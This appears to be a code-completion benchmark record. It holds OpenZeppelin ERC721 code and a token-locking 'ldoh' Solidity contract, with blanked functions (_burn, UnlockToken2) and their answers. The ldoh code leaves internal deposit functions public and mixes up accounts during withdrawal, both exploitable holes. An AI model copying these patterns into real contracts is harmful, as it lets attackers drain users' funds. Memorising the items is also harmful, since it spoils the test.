function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } <FILL_FUNCTION> /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} }
address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId);
function _burn(uint256 tokenId) internal virtual
/** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual
15603
ldoh
UnlockToken2
contract ldoh is EthereumSmartContract { /*============================== = EVENTS = ==============================*/ event onCashbackCode (address indexed hodler, address cashbackcode); event onAffiliateBonus (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onHoldplatform (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onUnlocktoken (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onReceiveAirdrop (address indexed hodler, uint256 amount, uint256 datetime); event onHOLDdeposit (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime); event onHOLDwithdraw (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime); /*============================== = VARIABLES = ==============================*/ //-------o Affiliate = 12% o-------o Cashback = 16% o-------o Total Receive = 88% o-------o Without Cashback = 72% o-------o //-------o Hold 24 Months, Unlock 3% Permonth // Struct Database struct Safe { uint256 id; // [01] -- > Registration Number uint256 amount; // [02] -- > Total amount of contribution to this transaction uint256 endtime; // [03] -- > The Expiration Of A Hold Platform Based On Unix Time address user; // [04] -- > The ETH address that you are using address tokenAddress; // [05] -- > The Token Contract Address That You Are Using string tokenSymbol; // [06] -- > The Token Symbol That You Are Using uint256 amountbalance; // [07] -- > 88% from Contribution / 72% Without Cashback uint256 cashbackbalance; // [08] -- > 16% from Contribution / 0% Without Cashback uint256 lasttime; // [09] -- > The Last Time You Withdraw Based On Unix Time uint256 percentage; // [10] -- > The percentage of tokens that are unlocked every month ( Default = 3% ) uint256 percentagereceive; // [11] -- > The Percentage You Have Received uint256 tokenreceive; // [12] -- > The Number Of Tokens You Have Received uint256 lastwithdraw; // [13] -- > The Last Amount You Withdraw address referrer; // [14] -- > Your ETH referrer address bool cashbackstatus; // [15] -- > Cashback Status } uint256 private idnumber; // [01] -- > ID number ( Start from 500 ) uint256 public TotalUser; // [02] -- > Total Smart Contract User mapping(address => address) public cashbackcode; // [03] -- > Cashback Code mapping(address => uint256[]) public idaddress; // [04] -- > Search Address by ID mapping(address => address[]) public afflist; // [05] -- > Affiliate List by ID mapping(address => string) public ContractSymbol; // [06] -- > Contract Address Symbol mapping(uint256 => Safe) private _safes; // [07] -- > Struct safe database mapping(address => bool) public contractaddress; // [08] -- > Contract Address mapping (address => mapping (uint256 => uint256)) public Bigdata; /** Bigdata Mapping : [1] Percent (Monthly Unlocked tokens) [7] All Payments [13] Total TX Affiliate (Withdraw) [2] Holding Time (in seconds) [8] Active User [14] Current Price (USD) [3] Token Balance [9] Total User [15] ATH Price (USD) [4] Min Contribution [10] Total TX Hold [16] ATL Price (USD) [5] Max Contribution [11] Total TX Unlock [17] Current ETH Price (ETH) [6] All Contribution [12] Total TX Airdrop [18] Unique Code **/ mapping (address => mapping (address => mapping (uint256 => uint256))) public Statistics; // Statistics = [1] LifetimeContribution [2] LifetimePayments [3] Affiliatevault [4] Affiliateprofit [5] ActiveContribution // Airdrop - Hold Platform (HOLD) address public Holdplatform_address; // [01] uint256 public Holdplatform_balance; // [02] mapping(address => uint256) public Holdplatform_status; // [03] mapping(address => uint256) public Holdplatform_divider; // [04] /*============================== = CONSTRUCTOR = ==============================*/ constructor() public { idnumber = 500; Holdplatform_address = 0x23bAdee11Bf49c40669e9b09035f048e9146213e; //Change before deploy } /*============================== = AVAILABLE FOR EVERYONE = ==============================*/ //-------o Function 01 - Ethereum Payable function () public payable { if (msg.value == 0) { tothe_moon(); } else { revert(); } } function tothemoon() public payable { if (msg.value == 0) { tothe_moon(); } else { revert(); } } function tothe_moon() private { for(uint256 i = 1; i < idnumber; i++) { Safe storage s = _safes[i]; if (s.user == msg.sender) { Unlocktoken(s.tokenAddress, s.id); } } } //-------o Function 02 - Cashback Code function CashbackCode(address _cashbackcode, uint256 uniquecode) public { require(_cashbackcode != msg.sender); if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 && Bigdata[_cashbackcode][8] == 1 && Bigdata[_cashbackcode][18] != uniquecode ) { cashbackcode[msg.sender] = _cashbackcode; } else { cashbackcode[msg.sender] = EthereumNodes; } if (Bigdata[msg.sender][18] == 0 ) { Bigdata[msg.sender][18] = uniquecode; } emit onCashbackCode(msg.sender, _cashbackcode); } //-------o Function 03 - Contribute //--o 01 function Holdplatform(address tokenAddress, uint256 amount) public { require(amount >= 1 ); uint256 holdamount = add(Statistics[msg.sender][tokenAddress][5], amount); require(holdamount <= Bigdata[tokenAddress][5] ); if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 ) { cashbackcode[msg.sender] = EthereumNodes; Bigdata[msg.sender][18] = 123456; } if (contractaddress[tokenAddress] == false) { revert(); } else { ERC20Interface token = ERC20Interface(tokenAddress); require(token.transferFrom(msg.sender, address(this), amount)); HodlTokens2(tokenAddress, amount); Airdrop(tokenAddress, amount, 1); } } //--o 02 function HodlTokens2(address ERC, uint256 amount) public { address ref = cashbackcode[msg.sender]; uint256 AvailableBalances = div(mul(amount, 72), 100); uint256 AvailableCashback = div(mul(amount, 16), 100); uint256 affcomission = div(mul(amount, 12), 100); uint256 nodecomission = div(mul(amount, 28), 100); if (ref == EthereumNodes && Bigdata[msg.sender][8] == 0 ) { AvailableCashback = 0; Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], nodecomission); Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], nodecomission); Bigdata[msg.sender][19] = 111; // Only Tracking ( Delete Before Deploy ) } else { Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission); Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission); Bigdata[msg.sender][19] = 222; // Only Tracking ( Delete Before Deploy ) } HodlTokens3(ERC, amount, AvailableBalances, AvailableCashback, ref); } //--o 04 function HodlTokens3(address ERC, uint256 amount, uint256 AvailableBalances, uint256 AvailableCashback, address ref) public { ERC20Interface token = ERC20Interface(ERC); uint256 TokenPercent = Bigdata[ERC][1]; uint256 TokenHodlTime = Bigdata[ERC][2]; uint256 HodlTime = add(now, TokenHodlTime); uint256 AM = amount; uint256 AB = AvailableBalances; uint256 AC = AvailableCashback; amount = 0; AvailableBalances = 0; AvailableCashback = 0; _safes[idnumber] = Safe(idnumber, AM, HodlTime, msg.sender, ERC, token.symbol(), AB, AC, now, TokenPercent, 0, 0, 0, ref, false); Statistics[msg.sender][ERC][1] = add(Statistics[msg.sender][ERC][1], AM); Statistics[msg.sender][ERC][5] = add(Statistics[msg.sender][ERC][5], AM); Bigdata[ERC][6] = add(Bigdata[ERC][6], AM); Bigdata[ERC][3] = add(Bigdata[ERC][3], AM); if(Bigdata[msg.sender][8] == 1 ) { idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][10]++; } else { afflist[ref].push(msg.sender); idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][9]++; Bigdata[ERC][10]++; TotalUser++; } Bigdata[msg.sender][8] = 1; emit onHoldplatform(msg.sender, ERC, token.symbol(), AM, HodlTime); Bigdata[msg.sender][19] = 333; // Only Tracking ( Delete Before Deploy ) } //-------o Function 05 - Claim Token That Has Been Unlocked function Unlocktoken(address tokenAddress, uint256 id) public { require(tokenAddress != 0x0); require(id != 0); Safe storage s = _safes[id]; require(s.user == msg.sender); require(s.tokenAddress == tokenAddress); if (s.amountbalance == 0) { revert(); } else { UnlockToken2(tokenAddress, id); } } //--o 01 function UnlockToken2(address ERC, uint256 id) private {<FILL_FUNCTION_BODY> } //--o 02 function UnlockToken3(address ERC, uint256 id) private { Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == ERC); uint256 timeframe = sub(now, s.lasttime); uint256 CalculateWithdraw = div(mul(div(mul(s.amount, s.percentage), 100), timeframe), 2592000); // 2592000 = seconds30days //--o = s.amount * s.percentage / 100 * timeframe / seconds30days ; uint256 MaxWithdraw = div(s.amount, 10); //--o Maximum withdraw before unlocked, Max 10% Accumulation if (CalculateWithdraw > MaxWithdraw) { uint256 MaxAccumulation = MaxWithdraw; } else { MaxAccumulation = CalculateWithdraw; } //--o Maximum withdraw = User Amount Balance if (MaxAccumulation > s.amountbalance) { uint256 realAmount1 = s.amountbalance; } else { realAmount1 = MaxAccumulation; } uint256 realAmount = add(s.cashbackbalance, realAmount1); uint256 newamountbalance = sub(s.amountbalance, realAmount1); s.cashbackbalance = 0; s.amountbalance = newamountbalance; s.lastwithdraw = realAmount; s.lasttime = now; UnlockToken4(ERC, id, newamountbalance, realAmount); } //--o 03 function UnlockToken4(address ERC, uint256 id, uint256 newamountbalance, uint256 realAmount) private { Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == ERC); uint256 eventAmount = realAmount; address eventTokenAddress = s.tokenAddress; string memory eventTokenSymbol = s.tokenSymbol; uint256 tokenaffiliate = div(mul(s.amount, 12), 100) ; uint256 maxcashback = div(mul(s.amount, 16), 100) ; uint256 sid = s.id; if (cashbackcode[msg.sender] == EthereumNodes && idaddress[msg.sender][0] == sid ) { uint256 tokenreceived = sub(sub(sub(s.amount, tokenaffiliate), maxcashback), newamountbalance) ; }else { tokenreceived = sub(sub(s.amount, tokenaffiliate), newamountbalance) ;} uint256 percentagereceived = div(mul(tokenreceived, 100000000000000000000), s.amount) ; s.tokenreceive = tokenreceived; s.percentagereceive = percentagereceived; PayToken(s.user, s.tokenAddress, realAmount); emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); Airdrop(s.tokenAddress, realAmount, 4); } //--o Pay Token function PayToken(address user, address tokenAddress, uint256 amount) private { ERC20Interface token = ERC20Interface(tokenAddress); require(token.balanceOf(address(this)) >= amount); token.transfer(user, amount); Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount); Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount); Statistics[msg.sender][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount); Bigdata[tokenAddress][11]++; } //-------o Function 05 - Airdrop function Airdrop(address tokenAddress, uint256 amount, uint256 extradivider) private { if (Holdplatform_status[tokenAddress] == 1) { require(Holdplatform_balance > 0 ); uint256 divider = Holdplatform_divider[tokenAddress]; uint256 airdrop = div(div(amount, divider), extradivider); address airdropaddress = Holdplatform_address; ERC20Interface token = ERC20Interface(airdropaddress); token.transfer(msg.sender, airdrop); Holdplatform_balance = sub(Holdplatform_balance, airdrop); Bigdata[tokenAddress][12]++; emit onReceiveAirdrop(msg.sender, airdrop, now); } } //-------o Function 06 - Get How Many Contribute ? function GetUserSafesLength(address hodler) public view returns (uint256 length) { return idaddress[hodler].length; } //-------o Function 07 - Get How Many Affiliate ? function GetTotalAffiliate(address hodler) public view returns (uint256 length) { return afflist[hodler].length; } //-------o Function 08 - Get complete data from each user function GetSafe(uint256 _id) public view returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 endtime, string tokenSymbol, uint256 amountbalance, uint256 cashbackbalance, uint256 lasttime, uint256 percentage, uint256 percentagereceive, uint256 tokenreceive) { Safe storage s = _safes[_id]; return(s.id, s.user, s.tokenAddress, s.amount, s.endtime, s.tokenSymbol, s.amountbalance, s.cashbackbalance, s.lasttime, s.percentage, s.percentagereceive, s.tokenreceive); } //-------o Function 09 - Withdraw Affiliate Bonus function WithdrawAffiliate(address user, address tokenAddress) public { require(tokenAddress != 0x0); require(Statistics[user][tokenAddress][3] > 0 ); uint256 amount = Statistics[msg.sender][tokenAddress][3]; Statistics[msg.sender][tokenAddress][3] = 0; Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount); Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount); uint256 eventAmount = amount; address eventTokenAddress = tokenAddress; string memory eventTokenSymbol = ContractSymbol[tokenAddress]; ERC20Interface token = ERC20Interface(tokenAddress); require(token.balanceOf(address(this)) >= amount); token.transfer(user, amount); Statistics[user][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount); Bigdata[tokenAddress][13]++; emit onAffiliateBonus(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); Airdrop(tokenAddress, amount, 4); } /*============================== = RESTRICTED = ==============================*/ //-------o 01 Add Contract Address function AddContractAddress(address tokenAddress, uint256 CurrentUSDprice, uint256 CurrentETHprice, uint256 _maxcontribution, string _ContractSymbol, uint256 _PercentPermonth) public restricted { uint256 newSpeed = _PercentPermonth; require(newSpeed >= 3 && newSpeed <= 12); Bigdata[tokenAddress][1] = newSpeed; ContractSymbol[tokenAddress] = _ContractSymbol; Bigdata[tokenAddress][5] = _maxcontribution; uint256 _HodlingTime = mul(div(72, newSpeed), 30); uint256 HodlTime = _HodlingTime * 1 days; Bigdata[tokenAddress][2] = HodlTime; Bigdata[tokenAddress][14] = CurrentUSDprice; Bigdata[tokenAddress][17] = CurrentETHprice; contractaddress[tokenAddress] = true; } //-------o 02 - Update Token Price (USD) function TokenPrice(address tokenAddress, uint256 Currentprice, uint256 ATHprice, uint256 ATLprice, uint256 ETHprice) public restricted { if (Currentprice > 0 ) { Bigdata[tokenAddress][14] = Currentprice; } if (ATHprice > 0 ) { Bigdata[tokenAddress][15] = ATHprice; } if (ATLprice > 0 ) { Bigdata[tokenAddress][16] = ATLprice; } if (ETHprice > 0 ) { Bigdata[tokenAddress][17] = ETHprice; } } //-------o 03 Hold Platform function Holdplatform_Airdrop(address tokenAddress, uint256 HPM_status, uint256 HPM_divider) public restricted { require(HPM_status == 0 || HPM_status == 1 ); Holdplatform_status[tokenAddress] = HPM_status; Holdplatform_divider[tokenAddress] = HPM_divider; // Airdrop = 100% : Divider } //--o Deposit function Holdplatform_Deposit(uint256 amount) restricted public { require(amount > 0 ); ERC20Interface token = ERC20Interface(Holdplatform_address); require(token.transferFrom(msg.sender, address(this), amount)); uint256 newbalance = add(Holdplatform_balance, amount) ; Holdplatform_balance = newbalance; emit onHOLDdeposit(msg.sender, amount, newbalance, now); } //--o Withdraw function Holdplatform_Withdraw(uint256 amount) restricted public { require(Holdplatform_balance > 0 && amount <= Holdplatform_balance); uint256 newbalance = sub(Holdplatform_balance, amount) ; Holdplatform_balance = newbalance; ERC20Interface token = ERC20Interface(Holdplatform_address); require(token.balanceOf(address(this)) >= amount); token.transfer(msg.sender, amount); emit onHOLDwithdraw(msg.sender, amount, newbalance, now); } //-------o 04 - Return All Tokens To Their Respective Addresses function ReturnAllTokens() restricted public { for(uint256 i = 1; i < idnumber; i++) { Safe storage s = _safes[i]; if (s.id != 0) { if(s.amountbalance > 0) { uint256 amount = add(s.amountbalance, s.cashbackbalance); PayToken(s.user, s.tokenAddress, amount); s.amountbalance = 0; s.cashbackbalance = 0; Statistics[s.user][s.tokenAddress][5] = 0; } } } } /*============================== = SAFE MATH FUNCTIONS = ==============================*/ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } }
contract ldoh is EthereumSmartContract { /*============================== = EVENTS = ==============================*/ event onCashbackCode (address indexed hodler, address cashbackcode); event onAffiliateBonus (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onHoldplatform (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onUnlocktoken (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onReceiveAirdrop (address indexed hodler, uint256 amount, uint256 datetime); event onHOLDdeposit (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime); event onHOLDwithdraw (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime); /*============================== = VARIABLES = ==============================*/ //-------o Affiliate = 12% o-------o Cashback = 16% o-------o Total Receive = 88% o-------o Without Cashback = 72% o-------o //-------o Hold 24 Months, Unlock 3% Permonth // Struct Database struct Safe { uint256 id; // [01] -- > Registration Number uint256 amount; // [02] -- > Total amount of contribution to this transaction uint256 endtime; // [03] -- > The Expiration Of A Hold Platform Based On Unix Time address user; // [04] -- > The ETH address that you are using address tokenAddress; // [05] -- > The Token Contract Address That You Are Using string tokenSymbol; // [06] -- > The Token Symbol That You Are Using uint256 amountbalance; // [07] -- > 88% from Contribution / 72% Without Cashback uint256 cashbackbalance; // [08] -- > 16% from Contribution / 0% Without Cashback uint256 lasttime; // [09] -- > The Last Time You Withdraw Based On Unix Time uint256 percentage; // [10] -- > The percentage of tokens that are unlocked every month ( Default = 3% ) uint256 percentagereceive; // [11] -- > The Percentage You Have Received uint256 tokenreceive; // [12] -- > The Number Of Tokens You Have Received uint256 lastwithdraw; // [13] -- > The Last Amount You Withdraw address referrer; // [14] -- > Your ETH referrer address bool cashbackstatus; // [15] -- > Cashback Status } uint256 private idnumber; // [01] -- > ID number ( Start from 500 ) uint256 public TotalUser; // [02] -- > Total Smart Contract User mapping(address => address) public cashbackcode; // [03] -- > Cashback Code mapping(address => uint256[]) public idaddress; // [04] -- > Search Address by ID mapping(address => address[]) public afflist; // [05] -- > Affiliate List by ID mapping(address => string) public ContractSymbol; // [06] -- > Contract Address Symbol mapping(uint256 => Safe) private _safes; // [07] -- > Struct safe database mapping(address => bool) public contractaddress; // [08] -- > Contract Address mapping (address => mapping (uint256 => uint256)) public Bigdata; /** Bigdata Mapping : [1] Percent (Monthly Unlocked tokens) [7] All Payments [13] Total TX Affiliate (Withdraw) [2] Holding Time (in seconds) [8] Active User [14] Current Price (USD) [3] Token Balance [9] Total User [15] ATH Price (USD) [4] Min Contribution [10] Total TX Hold [16] ATL Price (USD) [5] Max Contribution [11] Total TX Unlock [17] Current ETH Price (ETH) [6] All Contribution [12] Total TX Airdrop [18] Unique Code **/ mapping (address => mapping (address => mapping (uint256 => uint256))) public Statistics; // Statistics = [1] LifetimeContribution [2] LifetimePayments [3] Affiliatevault [4] Affiliateprofit [5] ActiveContribution // Airdrop - Hold Platform (HOLD) address public Holdplatform_address; // [01] uint256 public Holdplatform_balance; // [02] mapping(address => uint256) public Holdplatform_status; // [03] mapping(address => uint256) public Holdplatform_divider; // [04] /*============================== = CONSTRUCTOR = ==============================*/ constructor() public { idnumber = 500; Holdplatform_address = 0x23bAdee11Bf49c40669e9b09035f048e9146213e; //Change before deploy } /*============================== = AVAILABLE FOR EVERYONE = ==============================*/ //-------o Function 01 - Ethereum Payable function () public payable { if (msg.value == 0) { tothe_moon(); } else { revert(); } } function tothemoon() public payable { if (msg.value == 0) { tothe_moon(); } else { revert(); } } function tothe_moon() private { for(uint256 i = 1; i < idnumber; i++) { Safe storage s = _safes[i]; if (s.user == msg.sender) { Unlocktoken(s.tokenAddress, s.id); } } } //-------o Function 02 - Cashback Code function CashbackCode(address _cashbackcode, uint256 uniquecode) public { require(_cashbackcode != msg.sender); if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 && Bigdata[_cashbackcode][8] == 1 && Bigdata[_cashbackcode][18] != uniquecode ) { cashbackcode[msg.sender] = _cashbackcode; } else { cashbackcode[msg.sender] = EthereumNodes; } if (Bigdata[msg.sender][18] == 0 ) { Bigdata[msg.sender][18] = uniquecode; } emit onCashbackCode(msg.sender, _cashbackcode); } //-------o Function 03 - Contribute //--o 01 function Holdplatform(address tokenAddress, uint256 amount) public { require(amount >= 1 ); uint256 holdamount = add(Statistics[msg.sender][tokenAddress][5], amount); require(holdamount <= Bigdata[tokenAddress][5] ); if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 ) { cashbackcode[msg.sender] = EthereumNodes; Bigdata[msg.sender][18] = 123456; } if (contractaddress[tokenAddress] == false) { revert(); } else { ERC20Interface token = ERC20Interface(tokenAddress); require(token.transferFrom(msg.sender, address(this), amount)); HodlTokens2(tokenAddress, amount); Airdrop(tokenAddress, amount, 1); } } //--o 02 function HodlTokens2(address ERC, uint256 amount) public { address ref = cashbackcode[msg.sender]; uint256 AvailableBalances = div(mul(amount, 72), 100); uint256 AvailableCashback = div(mul(amount, 16), 100); uint256 affcomission = div(mul(amount, 12), 100); uint256 nodecomission = div(mul(amount, 28), 100); if (ref == EthereumNodes && Bigdata[msg.sender][8] == 0 ) { AvailableCashback = 0; Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], nodecomission); Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], nodecomission); Bigdata[msg.sender][19] = 111; // Only Tracking ( Delete Before Deploy ) } else { Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission); Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission); Bigdata[msg.sender][19] = 222; // Only Tracking ( Delete Before Deploy ) } HodlTokens3(ERC, amount, AvailableBalances, AvailableCashback, ref); } //--o 04 function HodlTokens3(address ERC, uint256 amount, uint256 AvailableBalances, uint256 AvailableCashback, address ref) public { ERC20Interface token = ERC20Interface(ERC); uint256 TokenPercent = Bigdata[ERC][1]; uint256 TokenHodlTime = Bigdata[ERC][2]; uint256 HodlTime = add(now, TokenHodlTime); uint256 AM = amount; uint256 AB = AvailableBalances; uint256 AC = AvailableCashback; amount = 0; AvailableBalances = 0; AvailableCashback = 0; _safes[idnumber] = Safe(idnumber, AM, HodlTime, msg.sender, ERC, token.symbol(), AB, AC, now, TokenPercent, 0, 0, 0, ref, false); Statistics[msg.sender][ERC][1] = add(Statistics[msg.sender][ERC][1], AM); Statistics[msg.sender][ERC][5] = add(Statistics[msg.sender][ERC][5], AM); Bigdata[ERC][6] = add(Bigdata[ERC][6], AM); Bigdata[ERC][3] = add(Bigdata[ERC][3], AM); if(Bigdata[msg.sender][8] == 1 ) { idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][10]++; } else { afflist[ref].push(msg.sender); idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][9]++; Bigdata[ERC][10]++; TotalUser++; } Bigdata[msg.sender][8] = 1; emit onHoldplatform(msg.sender, ERC, token.symbol(), AM, HodlTime); Bigdata[msg.sender][19] = 333; // Only Tracking ( Delete Before Deploy ) } //-------o Function 05 - Claim Token That Has Been Unlocked function Unlocktoken(address tokenAddress, uint256 id) public { require(tokenAddress != 0x0); require(id != 0); Safe storage s = _safes[id]; require(s.user == msg.sender); require(s.tokenAddress == tokenAddress); if (s.amountbalance == 0) { revert(); } else { UnlockToken2(tokenAddress, id); } } <FILL_FUNCTION> //--o 02 function UnlockToken3(address ERC, uint256 id) private { Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == ERC); uint256 timeframe = sub(now, s.lasttime); uint256 CalculateWithdraw = div(mul(div(mul(s.amount, s.percentage), 100), timeframe), 2592000); // 2592000 = seconds30days //--o = s.amount * s.percentage / 100 * timeframe / seconds30days ; uint256 MaxWithdraw = div(s.amount, 10); //--o Maximum withdraw before unlocked, Max 10% Accumulation if (CalculateWithdraw > MaxWithdraw) { uint256 MaxAccumulation = MaxWithdraw; } else { MaxAccumulation = CalculateWithdraw; } //--o Maximum withdraw = User Amount Balance if (MaxAccumulation > s.amountbalance) { uint256 realAmount1 = s.amountbalance; } else { realAmount1 = MaxAccumulation; } uint256 realAmount = add(s.cashbackbalance, realAmount1); uint256 newamountbalance = sub(s.amountbalance, realAmount1); s.cashbackbalance = 0; s.amountbalance = newamountbalance; s.lastwithdraw = realAmount; s.lasttime = now; UnlockToken4(ERC, id, newamountbalance, realAmount); } //--o 03 function UnlockToken4(address ERC, uint256 id, uint256 newamountbalance, uint256 realAmount) private { Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == ERC); uint256 eventAmount = realAmount; address eventTokenAddress = s.tokenAddress; string memory eventTokenSymbol = s.tokenSymbol; uint256 tokenaffiliate = div(mul(s.amount, 12), 100) ; uint256 maxcashback = div(mul(s.amount, 16), 100) ; uint256 sid = s.id; if (cashbackcode[msg.sender] == EthereumNodes && idaddress[msg.sender][0] == sid ) { uint256 tokenreceived = sub(sub(sub(s.amount, tokenaffiliate), maxcashback), newamountbalance) ; }else { tokenreceived = sub(sub(s.amount, tokenaffiliate), newamountbalance) ;} uint256 percentagereceived = div(mul(tokenreceived, 100000000000000000000), s.amount) ; s.tokenreceive = tokenreceived; s.percentagereceive = percentagereceived; PayToken(s.user, s.tokenAddress, realAmount); emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, 